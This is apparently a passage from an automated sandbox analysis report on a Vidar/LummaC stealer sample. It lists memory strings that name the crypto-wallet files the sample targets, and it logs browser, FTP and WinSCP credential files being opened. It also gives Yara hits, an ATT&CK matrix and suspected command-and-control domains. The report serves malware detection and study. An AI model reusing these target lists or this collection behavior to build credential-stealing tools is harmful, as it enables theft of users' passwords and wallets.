Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: MSBuild.exe, 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7300, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AAFIIJDAAA.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2216121534.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.dddad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.dddad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: T2bmenoX1o.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7300, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD40C40 sqlite3_bind_zeroblob,	1_2_6CD40C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD40D60 sqlite3_bind_parameter_name,	1_2_6CD40D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC68EA0 sqlite3_clear_bindings,	1_2_6CC68EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	161 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	511 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
T2bmenoX1o.exe	44%	Virustotal		Browse
T2bmenoX1o.exe	100%	Avira	HEUR/AGEN.1310458
T2bmenoX1o.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\ProgramData\AAFIIJDAAA.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	100%	Joe Sandbox ML
C:\ProgramData\AAFIIJDAAA.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
cowod.hopto.org	10%	Virustotal	Browse
nsdm.cumpar-auto-orice-tip.ro	8%	Virustotal	Browse
t.me	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
bemuzzeki.sbs	0%	Virustotal	Browse
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
kasm.zubairgul.com	0%	Virustotal	Browse
exilepolsiy.sbs	0%	Virustotal	Browse
invinjurhey.sbs	0%	Virustotal	Browse
exemplarou.sbs	6%	Virustotal	Browse
wickedneatr.sbs	0%	Virustotal	Browse
frizzettei.sbs	0%	Virustotal	Browse
isoplethui.sbs	0%	Virustotal	Browse
laddyirekyi.sbs	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://cowod.hopto.org_DEBUG.zip/c	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
